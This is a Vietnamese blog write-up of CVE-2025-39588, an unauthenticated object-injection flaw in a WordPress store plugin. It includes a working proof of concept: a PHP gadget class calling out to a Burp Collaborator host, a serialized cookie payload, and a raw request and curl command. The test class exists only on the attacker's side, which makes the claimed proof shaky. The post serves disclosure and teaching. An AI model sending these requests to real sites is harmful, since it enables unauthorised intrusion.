[CVE-2025-39588] Object Injection

domiee13domiee13
7 min read

Trở lại sau 1 thời gian dài không viết lách, 1 phần vì thời gian vừa rồi có quá nhiều việc phải lo, 1 phần mình cũng lười vì viết 1 bài chỉn chu mất khá nhiều thời gian, nhất là ở đoạn làm ảnh banner : D. Lần này mình quyết định viết về một CVE mình tìm thấy được gần đây (thực ra cũng không gần lắm, từ tháng 4 rồi). Lỗ hổng lần này là 1 lỗi Insecure Deserialize/Object Injection trong 1 plugin của Wordpress. Plugin chứa lỗ hổng cũng không phải plugin gì lớn và mình tin rằng ai ngồi đọc source của plugin này cũng có thể tìm ra thôi, chủ yếu mình muốn chia sẻ quá trình đọc source và trace ra lỗ hổng cũng như setup để demo khai thác. Được rồi đi thôiii.


Lý do/Cơ duyên tìm ra lỗ hổng

Hẳn các bạn có thể đã nghe qua về Patchstack, nôm na thì đây là 1 nền tảng để các researcher submit lỗ hổng tìm được trong các plugin của Wordpress hoặc trong chính core của Wordpress. Với mỗi lỗ hổng tìm được, bạn sẽ được 1 số điểm kinh nghiệm nhất định, tuỳ thuộc vào lượt cài của plugin cũng như plugin có được list trên trang bounty hay không, số điểm kinh nghiệm bạn kiếm được sẽ được tổng hợp và chốt lại lúc cuối tháng, nếu trong top bạn được tiền còn nếu không thì vẫn có cơ hội thông qua lucky draw : D. Mình biết đến nền tảng này lần đầu khi thấy share qua page của 1 công ty, sau đấy 1 thời gian mình mới bắt đầu tìm lỗi và submit trên nền tảng này, việc tìm hay submit lỗi cũng không liên tục mà cách vài tháng mình mới tìm 1 lần (nếu không có gì bận và quá chán). Nhìn chung thì đây là 1 nền tảng khá hay để các bạn có thể bắt đầu và trau dồi kĩ năng review source code, họ có hẳn 1 trang academy Welcome to Patchstack Academy | Patchstack Academy để người mới có thể bắt đầu nếu có ai quan tâm.


Hành trình tìm lỗi

Về cơ bản mình cũng không pick chính xác 1 plugin nào để hunt cả mà mình viết hẳn 1 cái bookmarklet để cài tất cả plugin trong 1 page từ trang quản trị Wordpress, sau đấy sẽ dùng Snyk kết hợp với check lại bằng tay nếu đọc code và “cảm thấy” nó có lỗi thật.

Và yẹt sơ, trong quá trình ngồi check output của Snyk, mình có thấy báo 1 lỗi Insecure Deserialize và hành trình trace source code bắt đầu.

Trong đoạn code bên dưới, ở dòng 1025 chúng ta thấy có một câu lệnh if để kiểm tra xem cookie với key tương ứng có tồn tại hay không.
Nếu tồn tại, giá trị của cookie sẽ được lấy ra và xử lý qua hàm stripslashes() nhằm loại bỏ các ký tự escape (\). Kết quả sau khi xử lý được lưu vào biến $cookie_data.

Ngay sau đó, biến $cookie_data được truyền vào hàm unserialize() để chuyển đổi từ chuỗi đã serialize thành một biến PHP (thường là mảng hoặc object).
Và đây chính là điểm mà lỗ hổng Insecure Deserialization có thể xảy ra — bởi dữ liệu từ cookie là đầu vào hoàn toàn do người dùng kiểm soát.

Ngặt 1 nỗi đây lại là 1 plugin sử dụng để tích hợp vào WooComerce và Elementor (theo mình đọc thì là thế), nên để debug cũng như verify lại mình phải setup cả WooComerce và Elementor.

Sau khi setup xong 2 plugin trên, mình gặp phải 1 vấn đề đấy là element Wishlist cần phiên bản pro của plugin mình đang test để có thể tạo được (vấn đề của nhà nghèo thôi, lương 40m skip đi em).

Vì là nhà nghèo vượt khó, mình quyết định ngồi đọc code chay để xem có thể tự build được request không thay vì sử dụng plugin như người bình thường để có được request. Thật sự thì đoạn này mình cũng đ biết, có thể do không có element nên không gọi được, cũng có thể do mình không biết cách setup

Đầu tiên, mình tìm nơi hàm ultimate_store_kit_get_wishlist được gọi

Kết quả trả về 1 số chỗ mà hàm này được gọi

Mình chú ý đến file wishlist-compare.php, trong file này thì hàm ultimate_store_kit_get_wishlist được gọi trong 1 hàm có tên usk_add_to_wishlist

Mình tiếp tục trace xem hàm này được gọi ở đâu

Nó được gọi ở ngay trên, trong 1 đoạn code “đăng ký hook”. Các bạn muốn biết thêm thông tin về hàm này có thể đọc tại https://developer.wordpress.org/reference/functions/add_action/. Còn để giải thích đơn giản thì đoạn code ở dòng 17 sẽ đăng ký 1 action có tên wp_ajax_usk_add_to_wishlist, khi gọi GET/POST request đến endpoint <wordpress-domain>/wp-admin/admin-ajax.php?action=usk_add_to_wishlist thì Wordpress sẽ tự gọi hàm usk_add_to_wishlist để xử lý. Ok giải thích dông dài thế chứ thực ra đoạn code cần để ý là dòng 18 cơ : D. Các bạn có thể hiểu đơn giải có 2 loại AJAX action hookswp_ajax_abcwp_ajax_nopriv_abc, khác biệt duy nhất là wp_ajax_abc thì cần phải đăng nhập để có thể gọi còn nopriv thì không.

public function __construct() {
    add_action( 'wp_ajax_usk_add_to_wishlist', [ $this, 'usk_add_to_wishlist' ] );
    add_action( 'wp_ajax_nopriv_usk_add_to_wishlist', [ $this, 'usk_add_to_wishlist' ] );
}

📌 Từ đoạn code trên, mình xác định được request sẽ có dạng:

POST /wp-admin/admin-ajax.php?action=usk_add_to_wishlist

Xác Định Dữ Liệu Gửi Lên

Hàm usk_add_to_wishlist() yêu cầu tham số product_id:

if ( ! isset( $_POST['product_id'] ) ) {
    $response['message'] = __( 'No product selected!', 'ultimate-store-kit' );
    wp_send_json( $response );
}

📌 Phân tích:

  • Nếu thiếu product_id, request sẽ bị từ chối (No product selected!).

  • Cần gửi tham số product_id để request hợp lệ.

  • Dữ liệu yêu cầu:

      action=usk_add_to_wishlist&product_id=123
    

Hàm ultimate_store_kit_get_wishlist() đọc dữ liệu từ cookie:

$cookie_data  = stripslashes($_COOKIE['_ultimate_store_kit_wishlist']);
$decoded_data = unserialize($cookie_data);

📌 Nhận xét:

  • Đọc cookie _ultimate_store_kit_wishlist.

  • Dùng unserialize() trên dữ liệu cookie → Dẫn đến lỗ hổng Object Injection.

  • Nếu inject payload vào cookie, WordPress sẽ tự động unserialize dữ liệu.

Tạo Payload Object Injection

Mình có code 1 đoạn code PHP để define 1 class có tên ExploitMe, trong đó có 1 magic method __wakeup(), đây là magic method sẽ được gọi khi đối tượng thuộc class này được unserialize. Các bạn có thể đọc thêm về magic method ở đây PHP: Magic Methods - Manual. Trong ví dụ, mình dùng file_get_contents('http://…') để tạo outbound HTTP request về domain Burp Collaborator, đầy đủ luồng sẽ là: Object thuộc class ExploitMe được unserialize → trigger hàm __wakeup() → Gọi request về domain Burp Collaborator. Đoạn code còn lại dùng để khai báo và serialize 1 Object thuộc class ExploitMe và urlendcode chuỗi đã serialize.

<?php
class ExploitMe {
    public function __wakeup() {
        file_get_contents("http://bydt21uuxmbzesss5w8jakss4jaay0mp.oastify.com/?pwned=1");
    }
}

$payload = serialize(new ExploitMe());
echo urlencode($payload);
?>

Output trả về:

O%3A9%3A%22ExploitMe%22%3A0%3A%7B%7D

Build HTTP Raw Request

Sau khi có đủ dữ kiện cần thiết để có 1 request hợp lệ, bao gồm:

  • Endpoint gọi đến /wp-admin/admin-ajax.php với method POST (vì trong đoạn code check $_POST)

  • Các tham số trong body, bao gồm:

    • action (tất nhiên rồi, nếu không có tham số này Wordpress sẽ không biết xử lý request như nào)

    • product_id để thoả mãn điều kiện của hàm if

    • Giá trị cần truyền vào cookie _ultimate_store_kit_wishlist

Mình có được request nhìn khá legit:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: _ultimate_store_kit_wishlist=O%3A9%3A%22ExploitMe%22%3A0%3A%7B%7D
Content-Length: 18

action=usk_add_to_wishlist&product_id=123

Sau đấy, tất cả những gì bạn cần làm là Gửi request đã build bằng Burp hoặc cURL, thích gì dùng nấy.

curl -X POST "<https://target.com/wp-admin/admin-ajax.php>" \\
     -H "Content-Type: application/x-www-form-urlencoded" \\
     -H "Cookie: _ultimate_store_kit_wishlist=O%3A9%3A%22ExploitMe%22%3A0%3A%7B%7D" \\
     --data "action=usk_add_to_wishlist&product_id=123"

Những gì sau đó mình làm là spam liên tục nút Poll Now trong Burp Collaborator : D và tadaaa

Đã có request gửi đến Burp Collaborator với tham số pwned=1, xác minh rằng Object thuộc class ExploitMe đã được unserialize.


Đoạn kết luôn là đoạn viết khó nhất

Trên đây là toàn bộ quá trình từ lúc tìm thấy, trace code, build HTTP request để POC của mình, và vì lỗ hổng này hoàn toàn có thể khai thác mà không cần đăng nhập (unauth, tất cả tại cái wp_ajax_nopriv) nên nó được chấm CVSS là 9.8. Thôi nhé, giờ mình phải tiếp tục chạy trốn khỏi áP nỰc ĐồNg tRaNg lỨa đây, hẹn gặp lại các bạn sau.

0
Subscribe to my newsletter

Read articles from domiee13 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

domiee13
domiee13

Web Application Pentester/Part-time "Beg" Bounty Hunter/Oreo eater/COD player 🐧